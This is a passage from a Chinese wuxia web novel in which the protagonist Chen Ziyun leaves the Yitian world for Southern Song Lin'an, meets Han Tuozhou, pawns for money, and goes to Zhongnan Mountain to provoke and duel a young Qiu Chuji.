人少了一个头的重量变化,是不会被在奔跑中的马感觉出来的。对它来说,只要主人不拉缰绳,它就会一直往前跑,跑到它实在跑不动为止。 第一百二十一章 剑气 “不过是加了一道剑气而已,怎么搞的跟大口径狙击枪一样了。” 陈子云透过眯着的眼睛看到了那将军爆头的一幕,把喉咙里本来要按照生理自然反应咽下的涎液给吐了出去。 “这东西还是少用把,难关关七被当成邪魔,这样的功夫,这样的视觉感,哪是一般人受得了的。” “不过这小李飞刀跟着剑气倒是绝配。” 陈子云自得的一笑,调转马头,就下山去了,少室山上的烂摊子就交给张无忌那小子吧。 “驾。” 陈子云一个人回了他的第一示范村,远远的躲开这中原的是非地。因为他知道,后面的这几年,就是群雄争霸的时间了。 朝代的更替是不可能没有流血的,而中原大地上压抑了百年仇恨也需要个宣泄的出口。 杀吧,争吧,不杀一场,不争一场,哪里会明白太平的来之不易。 要说让陈子云下场跟这些人抢地盘当皇帝,他是不愿意的。能不能做得到还两说,对于他这样一个现代人来讲。 在这种封建背景下,统一的王朝也不一定比这个时候能好多少。在他眼里,不过就是一个猪圈,一个狗舍罢了。 反正普通的老百姓就是要被奴役的存在,不管是被官府,还是被乱军。 想杀你了,你照样反抗不了。 唯一解决这种局面的办法,就是给他们做普及教育。可这样的事情,是要一定的基础的。 饭都吃不饱,谁会想着去读书。 所以这也是陈子云致力于将那几种高产的粮食种子找回来的原因。 如今,以遍布天下的示范村为根据点,向着周边村镇扩散,起码在那些地方,饿死的人口已经大大的减少。 那些土质好的,产量高的地方,甚至已经出现了一批考种田就能发家致富的富农阶层。 但是要更进一步就难了,在这个没有机械化种植技术的时代,靠个人或者家庭的劳动力发展农业是有瓶颈的。 虽然张老道说他功盖三皇,德超五帝,甚至还郑重其事的将写着他名字的小牌子都放到了武当山紫霄宫的真武大帝手上。 当时陈子云有些哭笑不得的对张三丰将:“老邋遢,你是知道我不信这些的,你又何必多此一举。” 张三丰笑呵呵的道:“老道少时拜菩萨,如今拜真武。可拜了这么百来年,天下依旧是那个天下,人还是你那些人。若说谁是天下间最不信这泥塑菩萨的,恐怕就是老道我了。” “那你这是?” 陈子云不明所以的问道。 “大帝那边,老道管不到。但是这武当山上,老道要让他们知道,他们最应该拜的人到底是谁!” 当时陈子云看着张三丰难得的严肃,也就只能听之任之了。 至于说现在能吃饱的那些百姓还愿不愿意跟着那些反王,那就不是陈子云能管的事情了。 就算是打仗,没有粮草你打个屁啊。至少那些泥腿子出生的起义军能看在粮食充沛的情况下,不用把百姓手中好不容易积攒下来的存活也给夺走吧。 所以啊在这个时代,这个生产力还十分落后的时代,粮食就是一切的基础。不管是黄口小儿的肚子,还是那些庙堂之上的大人物,吃饱了才有空搞这些有的没的。 没多久陈子云就收到了张无忌把教主之位传给杨逍的消息,不由得嘴角一翘,不知道要是让明教的众人知道,自己的新教主是个太监会是什么想法。 嘿,明教,日月神教,看来自己无意中促成了什么好玩的事情。 可不等陈子云高兴,随之而来的一个消息却让他有些惊愕——周芷若竟然当上了明教四大法王——红霓蟒王。 这外号取的,芷若这丫头也不嫌弃,难道穿着红衣使鞭子的就一定要取这么个名字吗。 不过想想也是,既然周芷若选择跟这些个什么蝙蝠狮子老鹰为伍,那这蟒王还真合适些。 陈子云看着黄柏年在信件的最后,希望他开口阻止周芷若这般任性的行为。因为在他看来,如今借刀盟在江湖上的实力并不比明教差。 周芷若作为陈子云的大弟子,本来就是公主一般的存在,怎么能自降身份去明教当个不上不下的法王呢。 可是陈子云稍微想想,就明白了这小丫头的心思。周芷若估计是看到了上次元兵围攻少林,明教又率兵反攻的场景,心里对天下跟江湖有了足够的了解。 现在这小丫头的心思估计已经不在这小小的江湖了,而是想借着这次明教法王的地位,插手这遍布天下的明教起义军。 陈子云琢磨了片刻,回忆了一番这些年参合进这些义军中的借刀盟的成员,拣选了几个现在混的不错的,将他们罗列出了一个名单,派小昭给周芷若送了过去。 要是这丫头真有当武则天的心思,他这个做师傅的该帮也就帮一把吧,至于她最后能不能玩得过陈友谅、朱元璋这些枭雄,那就各凭本事吧。 “小昭,这次你再上光明顶,也别着急回来了。你现在正好也开始修习九阴真经了,你让你师姐给你指点一番,她走过的那些歪路对你也是一种很好的借鉴。 还有告诉她,天下纷争不比与江湖上的好勇斗狠,不要什么事情都强持武力,要多动脑子。 也千万不要把江湖上的那一套是非对错放到战争中,在那种地方,你的每一次软弱,换来的只能是千万人的死亡。 最后.......如果厌烦了,记得回家。 好了,你去吧。” 陈子云在说道最后一句的时候,忽然感到,自己像是在跟周芷若道别。似乎冥冥中有一种感觉,自己跟周芷若这个在手心里养大的徒弟,怕是再也不能相见了。 可以周芷若如今的功夫,这天下间要能稳赢她没有几个,只要她不会蠢到直接往战阵里面冲,应该没有人能留得下她才是。 陈子云端起桌上已经有些凉了茶汤喝了一口,随即躺在他的实木摇椅上晃荡起来。 也不知怎么的,没多久,陈子云便在迷迷糊糊中睡了过去,好似有一种从来没有感受过的疲惫在席卷着他。 真想一直睡到天荒地老,老杨做的这摇椅实在是太舒服了。 这是陈子云还算清醒时候的最后一丝念想。 ...... 第一百二十二章 韩节夫 “二老爷,二老爷,醒醒,老爷找您去书房。” 陈子云先是感觉到自己的摇椅似乎有些在不稳的晃动,然后就听到了一些模糊的声响。他疑惑的想刀在自己的书房里,谁敢不禀告就擅自进来? 皱着眉头有气无力的抬起了一只眼皮。 “什么事都等我睡好了再讲。” 那人似乎还想说什么,却被陈子云随手一指给点住了哑穴。陈子云慵懒的挥了两下手,随即又闭上了眼睛。 陈子云感觉道对方在自己的身边滞留了片刻,然后就听到了一声房门开合之声,他也就安然的再次入睡了。 “子云,日上三竿,你如何还能安睡。还不给我起来,否则别怪为兄代父执行家法。” 一个浑厚的中年声音传入陈子云的耳朵,语气里有几分不容拒绝的威严。陈子云纳闷了,这都是什么人啊,难道是自己平时对那些小崽子太客气了?连睡个觉都不得安生? 气恼的不情愿的睁开眼,一个上唇留着八字胡,下巴留着山羊须衣着华贵的中年男子正带着些责备看着他。 那眼睛里有一种家长式的威严,同时也有几分长辈般的亲近。 见鬼了,这人是谁? “阁下是?” 陈子云问道。 那威压的中年男子眉头一皱,一双细长黑的眉毛顿时在额头处相交。 “说什么混账话,难道你睡了这一觉,睡的自己是谁都不知道了,赶紧起来,否则家法伺候。” 陈子云正想出手教训这位完全陌生,却把自己当晚辈一般教训的中年。可随着他眼睛瞥到了房间内部的装饰时,瞬间就睁大了眼睛。 奢华的布置,满目的华贵,这哪里是自己那个简洁明了却安逸舒适的书房。这世间竟然还有人能在自己毫无察觉的情况下将自己换了地方? 相思小刀瞬间在手,戒备的眼神瞟着四周。至于面前的中年男子,虽然能看着有几分威严,但全然不是江湖人,最多就是个有些权势的上位人物。 可在这方寸之间,人可敌国,就算是皇帝老子,在这样的距离下,也不过就是个穿着龙袍的普通人,生死也在陈子云的一年之间。 “都给我进来。” 那中年男子大喝一声。 陈子云立马戒备的看着门口,门外那些站的普通人,他早就听到了他们的呼吸,可并没有发现有内息悠长的高手存在。 不知道这个中年人是不是在暗中还隐藏着高手。 “老爷,二老爷。” 进来的两男两女,都低着头问安道。 “你们就是这么伺候二老爷的,他手里的刀是你们谁给他的,不想活了吗!” 随着中年人的最后一句喝骂之声,那四个进来的人同时腿软的跪倒在地,没有一个人解释一句,就这么以头触地,静静的等待着发落。 陈子云还是没能找到隐藏的人物,他已然开始怀疑,这世间怎么还能有这样的人物,就算是张老道来了,也绝对不可能瞒得过他的。 所以他直接推开了挡在自己面前的那个中年男子,跨过那几个跪着的男女,来到了书房的外面。 迎面而来的就是一个韵味十足的苏氏园林,假山,小湖,荷花,古松,隐隐还有些清脆的鸟鸣。 这里哪里是还是那个偏于西北的第一示范村,已经是江南的老院园林了呀。 “虽然已经不是第一次了,可这样的事情不管怎么看,任然是不可思议啊。” 陈子云喃喃的望着被各种古树遮掩了一半的天空,似乎那里有什么吸引着他的神奇。 “子云,二弟,你这是做什么?” 中年人的语气依旧不可侵犯的威严,可那中间的停顿,显得有几分犹豫。 “子云?这倒是不错,那么我姓什么?” 陈子云转过身体看着中年人问道。 中年明显的错愕了一瞬,但随即就恢复了过来,先是皱着眉头上下打量着陈子云,像是在思索也像是在责怪。 “子云,你在我韩家已经十八年了,当时父亲大人将你抱回来的的时候,你还没有脱人怀抱。 父亲视你如己出,我韩节夫自问待你也如手足,难道你真的非要改回你的原来的‘陈”姓不可吗?” “韩节夫?韩侂胄?” 陈子云楞楞的看着眼前的这个中年,虽然已经猜到对方的身份可能不俗,却也没想到竟然是这位南宋权相。 “你真的连一声大哥都不愿意叫了吗?” 韩侂胄眼里竟然泛起了些许荧光。 “如果我说我不是你弟弟,你会如何?” 陈子云认真的看着韩侂胄问道。 “你......” 韩侂胄手指颤抖的指针陈子云,神色变得严厉,一个连逼宫都敢干的顶级官僚,千万不要怀疑他的狠厉。 陈子云却淡淡的看着他,本来他说的就是实话,只是他一时也搞不清自己是直接替代了那位韩子云,还是怎么回事。 当然他也懒得跟这位在历史上善恶不好说的奸臣解释。 他现在最想搞清楚的是一件事情,这里的时间点应该是南宋没错了,可这到底是正史上的南宋,还是武侠中的?这才是他最想搞清楚的事情。 而陈子云这样的眼神,在韩侂胄看来,这就是真的让他伤心了,他这边本来就没有什么子嗣,韩子云本来就是当儿子养着的。 可如今这个儿子竟然要改回陈姓,这对他来讲跟大逆不道也没有什么区别了。但凡换一个人,早就被他的怒火给烧成灰了,可这个自己看着长大的二弟,让他这个向来狠辣的实权外戚怎么狠得下心。 “既然如此,那我韩家也就不留你了。走,只要你今天走出这个门,你就改回陈姓吧。” 韩侂胄言辞决绝,眼神也变得毫不容情。 可陈子云就像是没有看到似的,对着这位身世显赫的外戚拱拱手:“多谢,不管这十八年来是真是假,我都要谢谢你。” 看着陈子云真的想对待一个毫不相干的陌生人一样对待自己,韩侂胄终于是忍不住了:“滚!” 陈子云也没发应,施施然的顺着院子里七弯八拐的路走了。在路过院中假山和别的几个隐蔽的角落的时候,他略微的瞥了瞥眼角,笑容中似有玩味。 第一百二十三章 当铺 “吸......呼.......吸.......呼.......” 韩侂胄在几次如老牛喘气一般的呼吸之后,神情已经回复了那往日的平静。随即他朝着院子的一出假山招招手,一个穿着劲装的汉子不知道从哪里钻了出来。 “大人?” “找人跟着二老爷,保护他,也不要让他乱来,免得被赵汝愚那老东西利用。这过河拆桥的混蛋,竟然敢对官家说什么‘外戚不可言功’,让我的谋划功亏一篑。 早晚有一天,我要报此大仇。” 韩侂胄眼睛微微一眯。在场的几人,似乎在这大暑时节掠过了一道大寒天的冷风。 “是,老爷。” 劲装汉子躬身答道。 “等等。” 韩侂胄突然叫住了正打算离开的劲装汉子。 那汉子有些疑惑的看向他,韩侂胄眼角瞟了一眼那几个低头呆立着的两男两女。 劲装汉子眼神一悚,随即沉默的点点头。 韩侂胄走出了小院,对里面传来的惨叫之声置若罔闻。真正知道陈子云身份的整个韩家不过三人,现在父母已经去世,就剩下他自己了。 自己刚才因为神情激动,泄露了一些,但还来得及挽救。这几个仆人杀了也就杀了,倒是看护院子的这些护卫不知道要不要一起处置。 “算了,这些人就当是留给子云的吧。” 韩侂胄有些疲惫的自语了一句。他前段时间刚和赵汝愚一起发动了“绍熙内禅”,宋宁宗刚刚登基,他因为翼戴之功,在皇帝心中地位亲近。 可没想到赵汝愚这个小人,竟然打了他一耙,让他与本来想获取节度使之职失之交臂。 这段时间他正在奋力的奔走,可不管是交好的达官显贵,还是自己的姨娘吴太后,都不愿意在这个时候帮自己。 让他这段时间尤为憔悴,感觉被整个朝堂所孤立了一般。其实他也明白,主要原因还是在赵汝愚这个兼代参知政事、右丞相、枢密使的如今第一权臣身上。 赵汝愚作为“绍熙内禅”主要功臣,谁也不敢这这个时候违拗他。就算是刚刚登上皇帝宝座的宋宁宗,难道心里就对这位敢行废立之事的宗室不忌惮吗? 嘿,等着吧,赵汝愚,我就不信你能得意一辈子。 陈子云并不知道,那几个刚刚见了一面的伺候自己的仆人已经被灭了口。估计他就是知道了也不会过问,毕竟那几个对他来说其实也只是陌生人。 在这个时代,家奴的命运本来就在主人家的一念之间,卖身可不是随便卖的,那是将肉体与灵魂都一起卖了的啊。 对于临安,这个南宋的都城,陈子云还是有几分好奇的。 要说繁华其实还不如元朝的大都,毕竟那可是一个横跨欧亚大陆的帝国之都。 但是要是说道人文气息,这个建造在江南的诗词达到巅峰时代的城池,确实有几分自己的骄傲。 酒楼妓馆罗列,才子佳人并行,街上便是人流织起的网罗,川流不息的叫卖。更不用说还有个声名响彻天下古今的西子湖,文人骚客多少为这千古美景折腰。 可惜啊,这大好的江山;这如画的美景,却是没有几年了。 南人多文才,北人多猛将。而当北边的金国南来,蒙古入侵,靠南人的诗词歌赋终究是守不住的。也难怪,这天下自古都是由北统南的多。 不过由不得陈子云感慨这天下大事,他已经被不经意间听到了关于北地江湖以全真教为尊的话语。 “全景教啊,果然还是武侠世界吗?” 陈子云听到这个熟悉的名字,竟然有些果然如此的觉悟。有了前两次的的经验,他已经基本猜测自己来到的世界,应该都是虚构中的武侠世界。 要不然自己梦中得授的那些神功绝技岂不是白费。 “宁宗刚刚登基,也就是南宋的庆元初年,按公历算就是1194年,那么距离射雕的情节开始的1204年还有整整十年的时间。 那我岂不是来早了?” 陈子云抬头看看天,似乎在问是不是你算错日子了,要是搞错了是不是先把我送回去,还没跟芷若他们好好告别呢。 可惜啊,天何言哉。陈子云也不过是聊以自慰罢了。 第一次华山论剑还没开始,也没什么东邪西毒南帝北丐中神通的名头,但是王重阳在北地建立的全真教,在这三十年间名头确实响彻了南北。 既然了来了这里,不去拜会一番这位不输张老道的大宗师,如何对得起老天爷的这番安排。 陈子云就想往马市去买一匹马,好往陕西钟南山一行,可等他摸便了全身才发现,除了刚才已经给酒家结账却没要小二找零的那锭银子,身上竟然没有了分毫现钱。 从他有了这一身本事以来,这还是他第一次为了钱财发愁,总不至于为了这点钱财就自降身份去做什么劫富济贫的勾当吧。 随即陈子云看到了腰间挂着的那块看着就不俗的玉佩,一个“韩”字刻在正面,后面则是一条飞翔的凤凰。 这块玉佩乃是宫中的吴太后赏赐给韩侂胄,而韩侂胄又送给了当时的韩子云的。 陈子云抿了抿嘴唇,最终还是找了一家看着上档次的当铺走了进去。 “客官您先喝茶,掌柜的正在招待客人,麻烦您稍后。” 一个赶紧打扮的跑堂将陈子云引进了一个雅间。 “你们这当铺怎么跟茶楼一个样?” 陈子云看了一眼四周的布置,好奇的问道。 “客官你赞了,鄙字号是这临安城里数得上号的老当了。都知道我们这里只收好东西,一般人儿也识相的不会往我们这里来。 只有像您这样的身份的人物,才会在手头一时不宽裕的时候来换几个零花。对于像您们这样的客人,自然也不希望这种小事被其他人知道。 所以不管掌柜的忙不忙,总不好让您在这里与其他的客官相见。按咱们大掌柜的说法就是与人方便就是与自己方便,这才是当铺的最高境界。” 那小二机灵的摸样,陈子云不由得感受到了现代社会中那种私人会所的服务理念。 “好。” 第一百二十四章 闻全真 没过多久,一个四十上下的富态中年边进了陈子云的这个雅间。 “哎呦,怎么是二爷,您怎么来了?小的钱二给二老爷磕头。” 陈子云疑惑的看着这个就要给自己下跪的钱掌柜。 “你认识我?” “二老爷可别拿小的玩笑了,这当铺本来就是老韩家的产业啊。只是因为咱们家是皇亲国戚,为了避嫌,才没挂出名号来。 您这是到了自己家的铺子了。 二老爷您这是干啥来了?” 这下轮到钱二迷糊了,眼前的这位可是炙手可热的权臣韩侂胄的弟弟,当朝太后的外甥,怎么可能缺钱花。 陈子云摸摸鼻子,这也太巧了些。 “钱掌柜,先不说这个,你看看我这块玉佩值多少,你给估个价,我有用。” “哎呦喂,二老爷,我的亲爷爷哦。您怎么能把这东西拿出来啊,这要是去了别的铺子,人家不得当场自刎给您老爷看啊。” 钱二磕头磕的更凶了。 “怎么说,这东西还当不得?” 陈子云郁闷的说道。 “老爷诶,不说这上面那个凤凰,就单单是那个王大师刻的“韩”字,哪个吃了熊心豹子胆的铺子敢收啊。” 钱二指着那块玉佩手上哆嗦着说道。 “嚯嚯,那我今天是当不出钱来了!” 陈子云有些生气。 “爷啊,您这是说什么呢。今天竟然您来了钱二管的小铺子,别说动用账上的银子老爷不会怪罪,就是拿钱二我自己的份孝敬您也是应该的。 可不要把这天赐的玉佩拿来吓唬小的就成。” 钱二说着就往自己怀里掏钱。 “等等,我不要你的。” 陈子云严词拒绝,这要是拿了这个掌柜的钱财,自己还不如去劫富呢。 “你从账上给我支取个一千两吧,你也可以先禀告他。” 这个他自然指的事韩侂胄,至于这个钱,以后还他就是了。 “二老爷说笑,不说韩大人早有交代,您的支取额度别说一千两,就是一万两也不用禀告的。 而且,咱们韩家什么时候为钱财愁过。” 钱二说这句话的时候很是自得,像是为自己是韩家的掌柜而自豪的很。 “诶,那你就尽快拿钱给我吧。” 陈子云此时也不知道说什么,只能先欠着这韩侂胄的恩慧了。 “是是,二爷您稍等片刻。小的再问下,这银子您是要大额的整票,还是零散的。” 钱二问道。 “一半大额的,一半换成方便花费的零散。” 陈子云道。 “好嘞,您稍等。” 钱二鞠躬着往外去了。 还没等陈子云喝上两口钱二特意让跑堂的上等茶水,钱二就腆着笑脸进来了。 “二爷,您看看,这是一千两的整票,还有五百两的零散,算是小的一点心意。” 钱二将一千五百两银票递给陈子云。 陈子云皱皱眉头,没有去接。他欠韩侂胄的,他有办法还,反正前身如果真的跟这位有扯不清的关系,自己也不可能真的对他视而不见。 可这位只是个韩家下面的掌柜,自己没必要跟他扯啥关系。 “二爷,您就当小的难得见到二爷,感恩这些年韩家给小的的差事。平时您跟大老爷都是日理万机的人物,小的想见也见不着。 如今好不容易有这个机会,您当小的巴结也好,奉承也罢,收了小的这一份心意吧。” 陈子云看着这个五体投地的趴在地上的钱掌柜,犹豫了片刻。 最终还是伸手从他的手里接过了银票。 “谢二老爷。” “我收你的钱,你反倒谢我了。” 陈子云笑道。 “二老爷,这钱财不过是爷们的玩儿,您这样的身份的人又怎么会放在眼里。钱二有如今的造化,都是韩家的栽培,要是这点东西能逗二爷一个乐,那也算是钱二的一点造化了。” 钱二恭敬的起身,可头还是低着,直到陈子云走出了这个一般人攀不上的当铺,他才重新变回了那个高深莫测的,临安城最大的点当铺的掌柜摸样。 陈子云东市买骏马,东市市买鞍鞯,东市买辔头,东市买长鞭。毕竟,一套都是为了骑马服务的行头,这些商人是要多想不开才会分别在东南西北开店。 旦辞临安去,暮宿黄河边,倒是对的。不过是在陈子云走了五天之后的傍晚,终于到了黄河在陕西境内的分支边上。可惜当初的花木兰恐怕没有如今陈子云游荡闲散的心态。 也许是因为将靠近目的地,陈子云反变得不怎么着急了,仰望着落日余晖照应在这宽阔的河面上,印出一片绯红。 “出来见一面吧,也跟了我这么久了,后面我要去的地方,不适合带你们一起去了。” 风吹着芦苇,带出来一些沙沙声,却没有一个人回应陈子云,似乎他就是在跟自己说话。 陈子云用自己的拇指摩擦着食指,略微有些尴尬。他才想起来,自己这个韩家二老爷在这些跟了自己一路的人眼里,不过是个手无缚鸡之力的书生。 以这几个跟着自己的人的专业程度,怎么可能被他发现。要说武功,这些人也就比普通的护院强上一些,可要是说道掩藏自己,打探消息的本事,就绝不是一般江湖人能比的。 “芦苇荡里的几位,不觉得扎着身子难受吗。” 陈子云点明了几人藏身的地方。 可回答他的依旧只是沙沙的回响。 “哼。” 陈子云可不是那种好脾气的好好先生,直接一道指劲就弹了出去,一大片刚才还晚风中摇曳的芦苇便瞬间身首分了家。 把一个来不及蹲下来影藏身形的看似普通的路人摸样的青年男子给彻底暴露了出来。 这人圆睁着他那双不算大也不算小的眼睛,此时里面已经因为惊诧和不解有了几分血丝。 这是因为突然间眼球剧烈运动导致内部的毛细血管破裂造成的。 “二.......二爷?” 这人问候的语气里还是透着糊涂。这也不怪他,对于一个在他们眼里从来都是懒洋洋的老爷,突然变成了神秘莫测的大高手,一时想不明白是最正常的。 “算了,就你吧,刚才我说的话听到了吗。” 陈子云见其他两人这样还不肯现身,也就懒得搭理了,只要有人能把自己的话传给韩侂胄就行了。 第一百二十五章 西北行 “二爷,这,你,老爷吩咐......” 这人还是有些语无伦次。 “好了,你叫什么名字?” “二爷说笑了,我们这样的人哪里会有什么名字。小人是负责二爷您院子里的,又排在第三,按府里的规矩,就是卫二三。” 那人还是站在芦苇荡里,就算是半个身子泡在水里,也不愿意靠近陈子云这边来。 “卫二三?那就如此吧。你跟另外两个,这段路上多谢你们照应了,少了我不少麻烦。” 陈子云这不是随口说的,而是如今这混乱的天下官匪都靠不住,尤其是他这样横跨南北的。 路上要不是这些人提前把那些麻烦事都处理了,怎么可能让他如此安稳。 “我现在要去的地方,你们不合适去。你们回去吧,如果韩侂胄问起来,你们就如实禀告。 刚才我露的拿一手你们也看到了,不用担心我自己应付不来。就这样吧,带着你另外两位一起走吧。” “可是二爷......” 卫二三还想说什么,却被一道从他的额头掠过的指风给带走了一缕头发。身体本能的向后一躲,踩在烂泥里的脚一个踉跄随即整个人就摔倒在了芦苇荡里。 脸上不知道被锋利的芦苇叶子画出了几道血色,可他这时候竟然完全没有察觉似的,针扎的站起身来,立刻半跪低头。 “我不是跟你商量,还有那两位,既然你们不想出来,就给我在芦苇荡里待到明天吧。 要是让我发现你们还敢跟上,别怪我手辣。” 陈子云直接牵着马沿着河堤走进了夕阳最后的余晖里。 芦苇荡在夕阳下静默了一会儿,彷佛连那沙沙声也没有了。 “二五,二八,你们还不出来,二爷都走了。” 卫二三朝着芦苇荡另外两个方向喊了一声。 “二爷刚才说让我们待到明天,要是现在出去,按照韩家规矩,那可是要进楼子里的,你想害死我们吗!” “就是,二三,你刚才被二爷教训了,是不是也想看我们被教训。” 两个声音从芦苇荡的两个方向传来。 “不过二爷什么时候有这么高深的功夫了,这样弹指就能断芦苇的功夫,真当听都没听过。” 那个先开口的人又说道。 “是啊,刚才二爷那一道指风弹过来,我以为我就要死了。不过江湖上也没听说有这样的功夫啊,你们知道吗?” 卫二三心有余悸的问道。 “嘿,江湖,不过是一些地痞流氓。没听老爷说吗,侠以武犯禁,所谓的江湖人就是一群不守规矩的莽汉,这天下如此纷乱,最少有三分要算在他们头上的。” “嘿,这天下江湖又和我们这些小人物有什么相干,还是先想想怎么回去跟老爷交代吧。 二爷这样自顾自的走了,说不好我们回去就跟那几个被二一处理掉的下人一样,把我们也处理了。” 三个人都没有再说话,在这已经完全黑下来的芦苇荡里沉默着。 ...... 陈子云一人一马来到了钟南山下,不愧是道教的发祥地之一,还没上山就已经碰到了好些个道家装束的人物。 不过这些人的道袍样式各异,显然这钟南山上也不是只有全真教一家。不过想来,此时全真教必然是其中最兴盛的那一个。 问明了重阳宫的方向,陈子云便带着马儿登山了。沿着弯弯曲曲山路走了好一会儿,才见到一块立着的门牌正是重阳宫。 两个小道士正守在山门前,见陈子云上来便来询问来由。 “听闻全真教王重阳名震天下,陈子云特来讨教讨教。” 陈子云本来就是跟张三丰平辈而交的,对于这位全真教的创始人自然也不会刻意降低自己身份,那岂不是对不住张老道了。 “哼,无知小儿,当真无礼。” 其中一个小道士立刻指着陈子云就喝道。王重阳在北地建立全真教已经数十载,武功人品都得到了北地江湖的认可。 谁人来钟南山拜会,不是口称真人,礼敬有加,哪里会是想眼前这个年轻书生这般无礼的。 而这些个负责的看山门的年轻弟子本来就是在重阳宫里长大的,对于他们而言,王重阳就是神仙一般的存在,怎么容得别人不敬。 “不错,你如此年纪对我师父怎么可以直呼其名。而且我师父是什么人物,岂是你这个乳臭未干的小子想见就见的。” 另一位小道士也上来帮腔。 “嘿。” 陈子云见两个小家伙的摸样,不由得冷笑。 要说武功本事,王重阳可能与张三丰不相上下,都是自己创出了神功绝学的一代宗师。可要是说到教育弟子,这本事可是差的远了。 武当派除了个为情所困的宋青书之外,几乎没出过什么品行不端的存在。可全真教呢,不说后面的第三代直接就是扶不起了,就是这第二代也没有几个真的拿的出手的。 “你笑什么,还不离去。” 那个先开口的小道士把宝剑拿到胸前,意思很明显,要是陈子云再不走,那他就不客气了。 “那我就代王重阳教教你们这些败坏门风的小东西怎么尊重人吧。” 只听的啪啪两声,在两个看门小道士还没看清楚怎么回事的时候一人一边的脸颊已经变的红肿了起来。 “你!” 沧浪一声,那个脸上肿的厉害些的小道士直接拔出了剑来。 “师兄,别冲动。” 另一个小道士一只手捂着脸,一只手却拦住了他。 “小道士,你倒是比你这位师兄识相。” 陈子云笑嘻嘻的看着那位肿的轻一点的小道士道。 “还不去叫来王重阳,好给你们报仇。” 陈子云笑嘻嘻的又道。 “好,有本事你就别走,我这就去请师傅。” 那肿的厉害的小道士直接推开了挡着自己的那位同伴,狠狠的刮了陈子云一眼,就往山门里跑去了。 “你怎么不走,不怕我再打你?” 陈子云看着那个还留在原地的小道士问道。 “这位大侠武功卓绝,想来不会跟我这样的小道士为难。” 那小道士嘴上说的很肯定,可那随时准备跑路的姿态还是出卖了他。不过这样的表现也算不错了,起码比刚才那个独自逃跑的强的多。 第一百二十六章 丘处机 “王重阳一代宗师,难道就没教你们要怎么待人接物?” 陈子云问道。 “大侠见谅,师傅自然是让我们要以礼待人。可自从师傅闯出名头之后,不管北地群雄,还是南边的西域的,都纷纷找来挑战我师。 不仅让师父疲于应付,就是连我们这些弟子也厌烦了。而且这些人来了也不客气,不仅要伺候他们吃喝。 遇到脾气不好的还要受气,所以也请大侠不要见怪我那位师兄,实在是我们在这山门上守着也是受多了气才会如此。” 小道士歉疚的解释着。 “这些我是不听的,自古声名本来累人,难道他王重阳不知道。既然要在这福地洞天开宗立派,自然要做好这样的准备,能怪的了谁去。” 陈子云道。 “是谁在这大言不惭,指手画脚我全真教?” 一个高亢浑厚的声音从山腰传来,不一会儿人便已经出现在了山脚,这道士的腿脚倒是不慢的。 可惜陈子云一看清对方的面孔,就知道肯定不是王重阳。王重阳这个时候少说也是五十来岁的年纪了。 而眼前这个倒是却是二十多岁的摸样,双眉斜飞,脸色红润,方面大耳,目光炯炯照人。 看来也是个道家功夫有成的年轻俊杰。 “丘师兄,并非如此,这位大侠只是与我们有些误会。” 那小道士好像有些怕这位丘师兄,被对方瞪了一眼,就没有再敢说下去了。 “丘师兄,你等等我啊。” 那个山上去请人的小道士也追上来了。 “丘师兄,就是他,就是这个无理之人打的我,还说是我们师傅没教好,要代师傅惩戒我们,实在是狂妄至极。” 那小道士恶狠狠的盯着陈子云说道,那眼神里透露着几分得意。 陈子云没有再理会这个仗人势的小道士,而是饶有兴趣的盯着这个被称为丘师兄的。 “丘处机?” “正是小道,阁下何人,为何要与我全真门下为难?” 丘处机神色严厉的注视着面前这个书生摸样的人。 “年年纪轻轻,性格急躁,果然是你了。怎么,全真教就这么大排面,江湖上无人敢惹你们?” 陈子云邪笑着,他这是故意在撩拨这个年轻的长春子。 “哼,看来今天是恶客上门了,既然敢来全真教挑衅,想来也是江湖上有名有姓的,何不报上来。” 丘处机虽然性子急躁,但也不是糊涂蛋,自然要先问清楚对方的身份,万一跟他们全真教有旧的,自己胡乱打了,少不了被师傅责骂。 “呵,江湖。年纪不大,江湖倒是挺老的。我跟你说不上,还是让王重阳出来吧。” 陈子云火上浇油,知道丘处机最是听不得有人不敬重自己师父的,而陈子云如此年纪就直呼其名,哪里还能忍得住。 “好个小贼,竟然还敢出言不逊,看剑。” 丘处机话刚出口,手中的宝剑同时出鞘,一道银光直击陈子云的左肩。 “倒是没下杀手。” 陈子云瞬间就看穿了丘处机的剑尖是奔着自己的肩膀去的,对方只想伤人并不想杀人。 “叮.....” 一声金属的震颤之声,丘处机手中的长剑差点脱手而出。 “什么?” 丘处机瞪着眼看着自己的剑尖,不知道刚才那一道强到不可思议的力道是哪里来的。 “你?” 丘处机疑惑的看向陈子云,陈子云刚才那一指出的很是隐蔽,对方根本没看到他出手的痕迹。 “我什么?” 陈子云就像是个老滑头在逗一个初出茅庐的小孩子一般,不过按照真实的年纪来算,这么说也不错了。 “哼,再来。” 丘处机这一剑出的更快,也更狠,剑光直指陈子云的咽喉,这次可就没有留手了。当然在知道对方是高手的情况下,再留手那就不是慈悲而是傻帽了。 “哈哈。不错不错,王重阳的剑法果然不差,可惜啊......” 陈子云语气里意味深长,身子只是轻轻的晃了晃就躲过了丘处机这凌厉的一招。 可对于丘处机来讲,对方躲过自己的一剑还是次要的,关键是那明显在嘲讽自己学艺不精的语气让他着恼。 “阁下到底是何人,为何要到这钟南山来戏耍于我?” 丘处机此时也看出了陈子云的深藏不露,明显不是自己能够力敌的,羞愤的喝问道。 “戏耍,这倒也是的。那就当我先为十年后的某件事情,找你收点利息吧。你做的孽可是不轻呢。” 陈子云的话让丘处机听的莫名其妙,也更加确信对方是在愚弄自己。 “我丘处机虽然自知不如你,但士可杀不可辱,就算今天拼了这一回又如何。” 丘处机说完再次朝着陈子云攻来,而且招式也变得更加的狠厉决绝。 招招相连之间,完全不考虑自己的防备,只想着要一剑将陈子云枭首。 “嘿,快而不准,有招而无势,简直就是一塌糊涂,你这样跟街头流氓有什不同,难道王重阳就是这么教你的?” 陈子云单手连弹,将丘处机的剑招一一化解,嘴巴里还不停的数落着。 “住嘴,不容你辱及恩师。” 丘处机完全没有理会陈子云的念叨,手上的力道却更是加强了一分。 “丘师兄?” 这个时候,就是一边在观战的那两个小道士也看出来了丘处机的问题,完全不像那个平时指导他们练武的师兄,看他的样子完全是已经乱了分寸。 可此时的丘处机哪里会听得到他们的提醒,他如今就一心想着将陈子云斩于剑下,其他的都是充耳不闻。 陈子云看着已经把剑舞得跟狼牙棒一样的丘处机,心里不由得暗暗好笑。难怪到了四十几岁还是那么火爆的脾气,原来这位长春子年轻的时候就是个爆仗。 不过到了这个地步,陈子云也不想在耽搁下去了,丘处机现在的水平也就是宋青书产不多的水准,在自己面前不管他怎么样的奋不顾身,也不过是这样了。 